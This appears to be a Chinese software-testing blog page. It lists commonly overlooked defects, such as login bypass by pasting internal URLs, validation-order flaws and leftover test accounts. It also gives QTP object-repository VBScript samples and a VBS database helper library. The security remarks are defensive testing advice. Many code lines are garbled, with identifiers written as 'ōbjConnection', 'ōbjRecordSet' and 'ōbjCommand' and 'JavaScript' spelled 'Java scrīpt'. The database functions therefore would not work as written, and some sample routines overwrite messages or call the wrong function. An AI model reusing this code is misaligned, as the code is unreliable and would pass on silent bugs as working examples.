      现在网站开发已经注意到:登陆网站进入其内部网页后,直接拷贝网址,然后粘贴到另一IE 窗口输入,可以绕过登陆直接访问。也许商业网站很关注这个问题,但是很多行业软件却很容易忽略。

      网页安全缺陷还可能存在于 IE 弹出的子窗口。有些设计不严格的软件,在主页面关闭的时候子页面还可以运行,这是一个明显的漏洞,而且还大大增加了错误发生的几率。

      4、判断顺序/逻辑缺陷

      对界面进行多个输入判断的时候,非常容易出现这种问题。例如判断年月顺序,判断长度,判断非空等。假如操作员仅仅满足单个条件,保存不能成功;而按界面从上之下顺序一一满足条件之后,保存是没有问题的。但是,改变一下输入的次序,校验失效。例如,一一满足条件之后,不保存,倒过来将上面的输入改成非法输入,然后保存,结果居然也能成功,这是因为原先的判断由于发生过,或者根据语句顺序只检查最后一个判断,所以没有报错。这种错误尤其在 Java scrīpt 脚本的页面中要注意。能够保存不能保证数据正确,有可能引起系统崩溃或者后续数据错误。所以,在测试的时候,不要按照正常的顺序输入,而是要打乱步骤,看看代码是否强健,是否在判断逻辑上没有错误。良好的代码应该经得起折腾,至少保存时会再此全部进行判断,而不只是简简单单走到判断的最后一行。

      5、调试语句和冗余信息

      维护项目和升级改造的推广系统最容易潜伏这类缺陷。典型表现在没有删除或者屏蔽调试语句。弹出一个界面不友好的提示信息,会使不明真相的用户产生误以为系统发生了严重故障,从而引起对软件的不信任感。页面中某个角落存在当前客户不需要的冗余按钮和功能也是一种缺陷。多余的功能会使用户以为是额外附加部分而去使用,其结果可想而知;而多余的按钮会误导好奇心强的用户操作,产生不必要的错误。

      同样值得关注的还有参数设置,由于没有实际数据,开发人员在调试或者单元测试的时候,习惯性的进行自我设定而忘了删除,软件测试人员可能会忽略掉了这部分测试,也可能导致在客户现场发生错误而影响系统发布和验收。

      6、不可重现的故障

      新参加软件测试的人员或者新来的开发人员总是要问,不可重现的缺陷是否需要记录,有必要吗?回答是肯定的。测试必须如实的记录发生的问题,也许不能重现,或者使非软件系统本身问题,但是,可能这些偶然性背后是有规律的,不记录这些,就不可能发现这些规律。

      7、多节点的逆向流转缺陷

      当前软件不少喜欢使用工作流来驱动。工作流的问题,就是可能出现多个流向分支。测试容易忽略的部分,就是工作流多节点的逆向流转。例如,通过不通过涉及两个分支,但是流程逆转的时候,有可能不是回到上一节点而是平级的另一个节点去了。软件测试要格外注意这类用例的设计。另外,有些时候默认分支在向前的时候是有默认值的,例如默认通过,那么保存的时候要提示用户是否通过,否则可能由于操作疲劳而走错了节点,引起回退。

      8、输入框缺陷

      试过往输入框粘贴数据而不是直接输入吗?可能这里会出现问题。按 Ctrl+V 的时候,输入框会根据长度大小自动截断输入长度。但是用鼠标,截断可能会失效。有一次测试人员就是用这种方法把一篇 Word 文档输入进去了,保存的时候,数据库崩溃。有些网站登陆的口令****可以拷贝下来的,只要放在剪贴板里面马上明文显示。

      输入框可以说是问题最多的部分,能够引起的麻烦也很多。日期、数字、文本等等,都需要耐心的测试一下。

      9、界面布局缺陷

      曾经有一次,项目经理回来向测试部反映一个问题,客户对界面不满意。原因很简单,因为界面上删除按钮和保存按钮挨得很近。结果有些操作不熟练的业务人员,很容易误按。这个问题是测试人员没有意料到的,因此注意关闭、删除、退出按钮与保存、下一步等按钮的距离。类似的按钮应按此规则排列分布。

      界面布局还可能发生在窗口最大化和最小化上,有可能窗口缩小的时候没有下拉框或不匹配分辨率,对用户来讲,这个错误实在很低级。有些用户由于操作习惯,非常不喜欢腾出手使用鼠标,尤其是大量输入的界面,因此,要注意设置键盘的快捷方式。还有,按 Tab定位到下一焦点时要注意顺序,避免跳转太灵活而让操作人员感到无从适应,在界面进行维护或者修改的时候,不要忘了软件测试开发人员是否无意改变了这些快捷方式和跳转顺序。

      10、版本和补丁包的环境问题

      理论上讲,这属于兼容性测试应该覆盖的问题。有些客户很喜欢更新最新的软件版本或者微软时不时打些补丁包,问题就出现了。有时候升级不一定是好事。这些问题最好在测试的时候增加几个用例,多用不同软件版本的机器跑一跑。软件测试有个定律是:你没跑过的地方,就一定会出事。经常听到开发人员抱怨,怎么我的机器没问题,你的机器就有事了呢?这不能完全靠配置管理员解决问题,环境配置项是大家最容易忽略的。

      11、用户管理缺陷

      用户管理的角色和授权需要好好研究一下,作过测试的人员都知道,有时候为了测试的方便,测试用户都是具有超级权限的用户。而且,比较容易忽略用户管理这一部分的测试。往往发往客户的时候,很多测试用户都没有删除。

      另外,有些接口的用户和口令,到软件使用寿命结束都没有更改过。在一次测试中,软件测试人员发现,给一个用户授超级用户权限,之后更改这个用户为受限权限。使用中发现,用户居然没有真正回收权限,用户管理界面上没有任何不对。及早准备用户管理用例,不要等到测试快结束时候才想起。

      12、常识缺陷

      从逻辑或者统计学上讲,计算机是允许如此处理的,但是从常识上来讲,这些情况不可能发生。例如电话号码不可能出现小数点,终止时间不能大于开始时间等等。除此之外,常识还要结合业务特点来进行判断,因此,开发和测试人员要格外注意对自己知识的培养以及增加对需求细节的了解。不能因为一味追求进度而采用最简单的代码来实现,对用户来说,这些错误可能是很荒谬的。

      尽管我们不可能完美的测试一个软件,但是我们仍然可以改进我们的软件测试。每次测试结束,及时总结测试中的不足,进一步完善用例。思考一下那些容易忽略的软件缺陷,能提高对软件测试的认识,提高所在组织软件的质量。

  • 使用Object Repository Automation Objects and Methods操作对象库

    2008-07-13 11:39:58

    Dim RepositoryFrom,TOCollection
    Set RepositoryFrom = CreateObject("Mercury.ObjectRepositoryUtil")
    RepositoryFrom.Load "C:\Login.tsr"
    Set TOCollection = RepositoryFrom.GetAllObjectsByClass("WinButton")
    Msgbox TOCollection.Count

    具体可参照help文档中关于ObjectRepositoryUtil的应用.

    'The following example retrieves an object repository's objects and properties,

    'looks for specific test objects using several methods, and copies a test object
    'to another object repository.
    Dim ImageObj, PageObj, RepositoryFrom, RepositoryTo
    Set RepositoryFrom = CreateObject("Mercury.ObjectRepositoryUtil")
    Set RepositoryTo = CreateObject("Mercury.ObjectRepositoryUtil")
    RepositoryFrom.Load "C:\QuickTest\Tests\Flights.tsr"
    RepositoryTo.Load "E:\Temp\Tests\Default.tsr"


     

    Function EnumerateAllChildProperties(Root)
    'The following function recursively enumerates all the test objects directly under
    'a specified parent object. For each test object, a message box opens containing the
    'test object's name, properties, and property values.
        Dim TOCollection, TestObject, PropertiesCollection, Property, Msg
        Set TOCollection = RepositoryFrom.GetChildren(Root)
        For i = 0 To TOCollection.Count - 1
                Set TestObject = TOCollection.Item(i)
                Msg = RepositoryFrom.GetLogicalName(TestObject) & vbNewLine
                Set PropertiesCollection = TestObject.GetTOProperties()
                For n = 0 To PropertiesCollection.Count - 1
                    Set Property = PropertiesCollection.Item(n)
                    Msg = Msg & Property.Name & "-" & Property.Value & vbNewLine
                Next
                MsgBox Msg
    EnumerateAllChildProperties TestObject
        Next
    End Function


     

    Function EnumerateAllObjectsProperties(Root)
    'The following function enumerates all the test objects under a specified object.
    'For each test object, a message box opens containing the test object's name,
    'properties, and property values.
     Dim TOCollection, TestObject, PropertiesCollection, Property, Msg
        Set TOCollection = RepositoryFrom.GetAllObjects(Root)
        For i = 0 To TOCollection.Count - 1
            Set TestObject = TOCollection.Item(i)
                        Msg = RepositoryFrom.GetLogicalName(TestObject) & vbNewLine
                Set PropertiesCollection = TestObject.GetTOProperties()
                For n = 0 To PropertiesCollection.Count - 1
                    Set Property = PropertiesCollection.Item(n)
                    Msg = Property.Name & "-" & Property.Value & vbNewLine
                Next
            MsgBox Msg
        Next
    End Function


     

    Function RenameAllImages(Root)
    'The following function sets a new name for all image test objects under a specified object.
     Dim TOCollection, TestObject, PropertiesCollection, Property
        Set TOCollection = RepositoryTo.GetAllObjectsByClass("Image")
        For i = 0 To TOCollection.Count - 1
                Set TestObject = TOCollection.Item(i)
                RepositoryTo.RenameObject (TestObject, "Image " & i)
                RepositoryTo.UpdateObject TestObject
        Next
    End Function


     

    Function RemoveAllLinks(Root)
    'The following function recursively enumerates all the test objects under a specified object.
    'It looks for all test objects of class Link and removes them from their parent objects.
        Dim TOCollection, TestObject, PropertiesCollection, Property
        Set TOCollection = RepositoryFrom.GetChildren(Root)
        For i = 0 To TOCollection.Count - 1
                Set TestObject = TOCollection.Item(i)
                TOClass = TestObject.GetTOProperty("micclass")
             If TOClass = "Link" Then
                    RepositoryFrom.RemoveObject Root, TestObject
                End If
            EnumerateAllChildProperties TestObject
        Next
    End Function


     

    Call EnumerateAllChildProperties(Null)
    Call EnumerateAllObjectsProperties(Null)
    Call RenameAllImages(Null)
    Call RemoveAllLinks(Null)
    Set ImageObj = RepositoryFrom.GetObject("Browser(""CNN.com"").Page(""CNN.com"").Image(""Remains identified"")")
    If (Not IsNull(ImageObj)) Then
     MsgBox RepositoryFrom.GetLogicalName(ImageObj)
     Else MsgBox "null"
    End If
    Set PageObj = RepositoryTo.GetObjectByParent("Browser(""CNN.com"")", "Page(""CNN.com"")")
    If (Not IsNull(PageObj)) Then
     MsgBox RepositoryTo.GetLogicalName(PageObj)
     Else MsgBox "null"
    End If
    RepositoryTo.AddObject ImageObj, PageObj
    RepositoryFrom.Save
    RepositoryTo.Save
  • 测试基础积累

    2008-06-30 22:16:30

    1. Verification Test & Validation Test:

    Verification是验证,是通过提供客观证据证明规定的要求是否得到满足,也就是说,输入与输出比较.
    Validation是确认,是在验证好的基础上,对预期的使用和应用要求是否得到满足,也就是说,在确认时,应考虑使用和应用的条件范围要远远大于输入时确定的范围.一般是由客户或代表客户的人执行.

    2. 测试策略是基于风险的:

    测试策略指尽最大可能利用有限资源与时间,侧重系统的主要功能或系统的薄弱地方进行测试。

    风险是指错误发生时产生的破坏的机会或危险。

    将用户的期望转换为测试的目标, 在测试的效果和风险的覆盖之间寻找最优平衡。

  • VBS 常用数据库函数

    2008-06-21 14:28:41

    VBS写的常用数据库公用函数

    摘自http://bbs.51testing.com/viewthread.php?tid=118028&pid=998989&page=1&extra=page%3D1#pid998989
    以下是我写的常用的数据库公用函数,希望大家能一起探讨和总结,把一些常用的数据库公用函数分享出来。这个是初稿,以后使用中我会继续完善
    特别是在做报表自动化测试时,数据库的公用函数使用尤其频繁,包括对存储过程的操作


    ' DATABASE公用函数
    '
    '###########################################################################################################
    '###########################################################################################################

    Dim objConnection                          'CONNECTION对象实例
    Dim objRecordSet                                   'RECORDSET对象实例       
    Dim objCommand                                '命令对象实例
    Dim strConnectionString                        '连接字符串

    ' ********************************************************************
    ' 函数说明:连接数据库;
    ' 参数说明:(1)strDBType(数据库类型:如ORACEL;DB2;SQL;ACCESS)
    '           (2)strDBAlias(数据库别名)
    '           (3)strUID(用户名)
    '           (4)strPWD(密码)
    '           (5)strIP(数据库IP地址:仅SQL SERVER 使用)
    '           (6)strLocalHostName(本地主机名:仅SQL SERVER 使用)
    '           (7)strDataSource(数据源:仅ACCESS使用;如d:\yysc.mdb)
    ' 返回结果:无
    ' 调用方法: ConnectDatabase(strDBType, strDBAlias, strUID, strPWD, strIP, strLocalHostName, strDataSource)
    ' ********************************************************************
    Sub ConnectDatabase(strDBType, strDBAlias, strUID, strPWD, strIP, strLocalHostName, strDataSource)
        Set ōbjConnection = CreateObject("ADODB.CONNECTION")                '1 - 建立CONNECTION对象的实例
       
        Select Case UCase(Trim(strDBType))
            Case "ORACLE"
                strConnectionString = "Driver={Microsoft ODBC for Oracle};Server=" & strDBAlias & ";Uid="_
                    & strUID & ";Pwd=" & strPWD & ";"                                '2 - 建立连接字符串
                objConnection.Open strConnectionString                                '3 - 用Open 方法建立与数据库连接
            Case "DB2"
                strConnectionString = "Driver={IBM DB2 ODBC DRIVER};DBALIAS=" & strDBAlias & ";Uid="_
                    & strUID & ";Pwd=" & strPWD & ";"                               
                objConnection.Open strConnectionString                               
            Case "SQL"
                 strConnectionString = "DRIVER=SQL Server; SERVER=" & strIP & "; UID=" & strUID & "; PWD="_
                     & strPWD & "; APP=Microsoft Office 2003;WSID=" & strLocalHostName & "; DATABASE=" & strDBAlias & ";"
                objConnection.Open strConnectionString                                           
            Case "ACCESS"
                strConnectionString = "provider=microsoft.jet.oledb.4.0;data source=" & strDataSource &_
                    ";Jet OLEDB:Database Password=" & strPWD & ";"
                objConnection.Open strConnectionString                                                 
            Case Else
                MsgBox "输入的数据库类型格式有误" & vbCrLf & "支持的数据库类型格式:ORACLE;DB2;SQL;ACCESS;EXCEL"
        End Select
       
        If (objConnection.State = 0) Then
            MsgBox "连接数据库失败!"
        End If
       
    End Sub


    ' ********************************************************************
    ' 函数说明:查询数据库(查询单列);
    ' 参数说明:  (1)strSql:SQL语句
    '           (2)strFieldName:字段名
    '           (3)str_Array_QueryResult:数组名(用来返回单列查询结果)
    ' 返回结果:  intArrayLength:查询数据库返回的记录行数
    '           str_Array_QueryResult:数组名(用来返回单列查询结果)
    ' 调用方法: intArrayLength = QueryDatabase(strSql, strFieldName, str_Array_QueryResult)
    ' ********************************************************************
    Function QueryDatabase(strSql, strFieldName, str_Array_QueryResult)
        Dim intArrayLength                                                                                     '数组长度
         Dim i
       
        i = 0   
        str_Array_QueryResult = Array()                                '重新初始化数组为一个空数组
       
        Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")                '4 - 建立RECORDSET对象实例
        Set ōbjCommand = CreateObject("ADODB.COMMAND")              '5 - 建立COMMAND对象实例
        objCommand.ActiveConnection = objConnection
        objCommand.CommandText = strSql
            objRecordSet.CursorLocation = 3
            objRecordSet.Open objCommand                            '6 - 执行SQL语句,将结果保存在RECORDSET对象实例中
       
        intArrayLength = objRecordSet.RecordCount                  '将查询结果的行数作为数组的长度
       
        If intArrayLength > 0 Then
                    ReDim str_Array_QueryResult(intArrayLength-1)
                   
                    Do While NOT objRecordSet.EOF                                                '将数据库查询的列值赋值给数组            
                        str_Array_QueryResult(i) = objRecordSet(strFieldName)
                            'Debug.WriteLine str_Array_QueryResult(i)
                            objRecordSet.MoveNext
                            i = i + 1
                    Loop
    '        Else
                    'ReDim str_Array_QueryResult(0)      
                    'str_Array_QueryResult(0) = ""     
        End If
       
        QueryDatabase = intArrayLength
    End Function


    ' ********************************************************************
    ' 函数说明:更新数据库;包括INSERT、DELETE 和 UPDATE操作
    ' 参数说明:(1)strSql:SQL语句
    ' 返回结果:无
    ' 调用方法: UpdateDatabase(strSql)
    ' ********************************************************************
    Sub UpdateDatabase(strSql)
            Dim objCommand
            Dim objField       
           
            Set ōbjCommand = CreateObject("ADODB.COMMAND")
            Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")
            objCommand.CommandText = strSql
            objCommand.ActiveConnection = objConnection
            Set ōbjRecordSet = objCommand.Execute
           
    '        Do Until objRecordSet.EOF
           
    '                For Each objField In objRecordSet.Fields
    '                        Debug.Write objField.Name & ": " & objField.Value & "   "
    '                Next
                   
    '                objRecordSet.MoveNext
    '                Debug.WriteLine
    '        Loop       
           
            Set ōbjCommand = Nothing
            Set ōbjRecordSet = Nothing
                   
    End Sub





    ' ********************************************************************
    ' 函数说明:返回符合查询结果的列的长度
    ' 参数说明:(1)strSql:SQL语句
    ' 返回结果:返回符合查询结果的列的长度
    ' 调用方法: MaxLength = GetLenOfField(strSql)
    ' ********************************************************************
    Function GetLenOfField(strSql)
        '如果SQL语句为空,则默认返回的列长度为0,结束函数;否则返回列的实际长度
        If strSql = "" Then
            GetLenOfField  = 0
                    Exit Function
        Else
                Set ōbjRecordSet = CreateObject("ADODB.RECORDSET")                        '4 - 建立RECORDSET对象实例
                Set ōbjCommand = CreateObject("ADODB.COMMAND")              '5 - 建立COMMAND对象实例
                objCommand.ActiveConnection = objConnection
                objCommand.CommandText = strSql
                    objRecordSet.CursorLocation = 3
                    objRecordSet.Open objCommand                                '6 - 执行SQL语句,将结果保存在RECORDSET对象实例中
                
                GetLenOfField = objRecordSet.RecordCount                              '返回符合查询结果的列的长度
           
                    Set ōbjCommand = Nothing       
                    Set ōbjRecordSet = Nothing
            End If
    End Function


    ' ********************************************************************
    ' 函数说明:关闭数据库连接;
    ' 参数说明:无
    ' 返回结果:无
    ' 调用方法: CloseDatabase()
    ' ********************************************************************
    Sub CloseDatabase()
        objRecordSet.Close
        objConnection.Close
       
        Set ōbjCommand = Nothing
        Set ōbjRecordSet = Nothing
        Set ōbjConnection = Nothing
    End Sub
391/212>
Open Toolbar